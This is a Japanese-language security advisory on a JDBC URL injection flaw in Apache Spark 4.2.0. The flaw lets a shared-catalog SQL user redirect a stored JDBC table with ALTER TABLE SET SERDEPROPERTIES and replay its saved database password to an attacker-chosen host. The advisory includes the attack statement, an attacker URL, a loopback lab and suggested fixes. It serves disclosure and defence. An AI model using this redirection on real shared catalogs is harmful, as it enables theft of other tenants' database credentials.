
Apache Spark 4.2.0 - 高 - リモート - JDBC URL インジェクション - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
クラス: JDBC URL インジェクション 到達範囲: リモート
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 は、スキャン時の追加オプションが保存された JDBC url を上書きすることを停止しました。ALTER TABLE SET SERDEPROPERTIES は依然として storage.properties にマージされます。これは JDBC スキャンオプションのマップです。保存された user / password は Spark JDBC のオプション名ではないため、新しい URL にそのまま引き継がれます。
共有カタログの SQL ユーザーは、オペレーターがプロビジョニングした USING jdbc テーブルの接続先を変更し、保存されたデータベースパスワードを攻撃者が選んだホストに再生できます。
| ID | CVE 未割り当て |
| クラス | JDBC URL インジェクション / 保存された認証情報の再利用 (SPARK-31710 の残存) |
| 到達範囲 | リモート (共有カタログ上の Connect または Hive Thrift SQL) |
| CWE | CWE-15, CWE-522 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| 製品 | Apache Spark |
| 影響を受けるバージョン | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC テーブル |
| 認証 | 共有カタログの SQL ユーザー (ジョブ投入 jar ではない) |
| ライセンス | GNU Affero GPL v3.0 |
| ラボ | 127.0.0.1:18960 のみ |
共有 externalCatalog 上の Connect gRPC SQL セッションまたは Hive Thrift SQL セッションで、認証情報が保存された永続的な USING jdbc テーブルが既に存在する場合。ジョブ投入者ではない。元の URL を指定したセッションでもない。
| 手法 | シンク | 権限 |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') の後に REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties の後に JDBC Driver.connect(url, properties) | 完全性: プロビジョニングされたテーブルの接続先を攻撃者のリスナーに変更する。ラボで実証済み (connect=yes)。機密性: 保存された DB の user / password を PostgreSQL の起動時およびクリアテキスト認証で再生する。ラボで実証済み (user-replay=true password-replay=true)。SHOW CREATE によるシークレットの偵察は閉じられている (マスク済み)。 |
同じ永続化、後続テナントによる t への SELECT | 共有カタログの行 | 完全性、推定: t に対する他のセッションのクエリが新しい URL に到達するようになる (誤った DB、攻撃者が制御する行)。可用性、推定: 管理者が serde をリセットするまで元の DB に到達できない。DoS としては基準外。 |
追加の serde キー (sessionInitStatement、prepareQuery、driver) | 残存する user / password に対するスキャンオプション | 完全性、推定: 追加ステートメント、またはクラスパス上の Driver の引数なしコンストラクタ。デフォルトクラスパスのガジェットなしで RCE に格上げしないこと。未検証。 |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties のみ | この検証では閉じられている。ラボで実証済み (storage の url は不変、オラクルへのヒットなし)。 |
スキャン時の追加オプション url の衝突 | SPARK-31710 generateDatasourceOptions | 閉じられている。ラボで実証済み (extra-options-clash は拒否)。 |
同じセッションが指定した spark.read.format("jdbc").option("url", ...) | 意図されたデータプレーン | 対象外。オーナーが制御する URL はこの残存ではない。 |
データソーステーブルに対する SET SERDE '<class>' | クラス名 | 閉じられている (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE)。未検証。 |
隣接する閉じられた項目: セッションが指定した JDBC / ファイルパス。spark.sql.legacy.extraOptionsBehavior の衝突チェック。OSS Spark には Unity の externalOptionsAllowList はない。CREATE TABLE の URL はオーナーが制御する (この残存ではない)。JDBC URL のログマスクは無条件。ファイルテーブルの path は locationUri にある。JDBCTableCatalog の接続はセッションカタログ設定から来る (URL を選ぶのと同じデータプレーン)。共有カタログのないシングルユーザーの pyspark はモデル外。
私は Spark 4.2.0 を固定しました。master でも 4.3 RC でもありません。オープンクラスタでのジョブ投入は設計上のものです。興味深い残存は、名前付きの修正の隣にあります。SPARK-31710 / generateDatasourceOptions は、既存の serde キーに対して異なるスキャン時の url を拒否します。SET TBLPROPERTIES は table.properties のみを書き込みます。データソーステーブルは依然として SET SERDEPROPERTIES を許可し、storage.properties にマージします (++、後のキーが優先)。user と password は jdbcOptionNames に入らないため、asConnectionProperties がそれらを Driver.connect に渡します。
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE は password をマスクします。SQL ユーザーはシークレットを読み戻せません。それでもそれを引き継ぐことはできます。
既に記録済みの誤った道: CREATE TABLE の url をバグとして扱うこと。追加オプションの衝突を再び報告すること。SET TBLPROPERTIES が storage を移動すると期待すること。SHOW CREATE がパスワードを漏洩すると主張すること。引用した Scala がガジェットであるのにフルクラスタを実行すること。リバースシェル。オラクルはループバック上の PostgreSQL 起動とクリアテキスト認証です。
cd lab
./run.sh
ループバック 127.0.0.1:18960 は PostgreSQL プロトコルリスナーです。HTTP ヘルスは 127.0.0.1:18961。ガジェットコンテナは Temurin 21 と libpostgresql-jdbc-java です。保存された URL は jdbc:postgresql://127.0.0.1:1/provisioned (接続拒否)。攻撃 URL は jdbc:postgresql://oracle:18960/stolen。保存されたユーザー spark_jdbc。保存されたパスワード stored-secret-SPARK-JDBC-SERDE-URL。ループバックにバインドすること。
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
保存された JDBC url / user / password と衝突する SET SERDEPROPERTIES キーを拒否すること。generateDatasourceOptions がスキャン時の追加に対して既に実行しているのと同じチェックです。または、url が変更されたときに保存された user / password を破棄すること。または、データソース JDBC serde を storage ではなくテーブルプロパティとして扱うこと。それまでは、パスワードを保存する永続的な USING jdbc テーブルに対して、信頼できない SQL に ALTER TABLE を付与しないでください。
32f7299601108917fb01920a54e084595b7b3bf8)ddl.scala AlterTableSerDePropertiesCommandDataSource.scala buildStorageFormatFromOptionsDataSourceUtils.scala generateDatasourceOptionsBasicConnectionProvider.scalaJDBCOptions.scala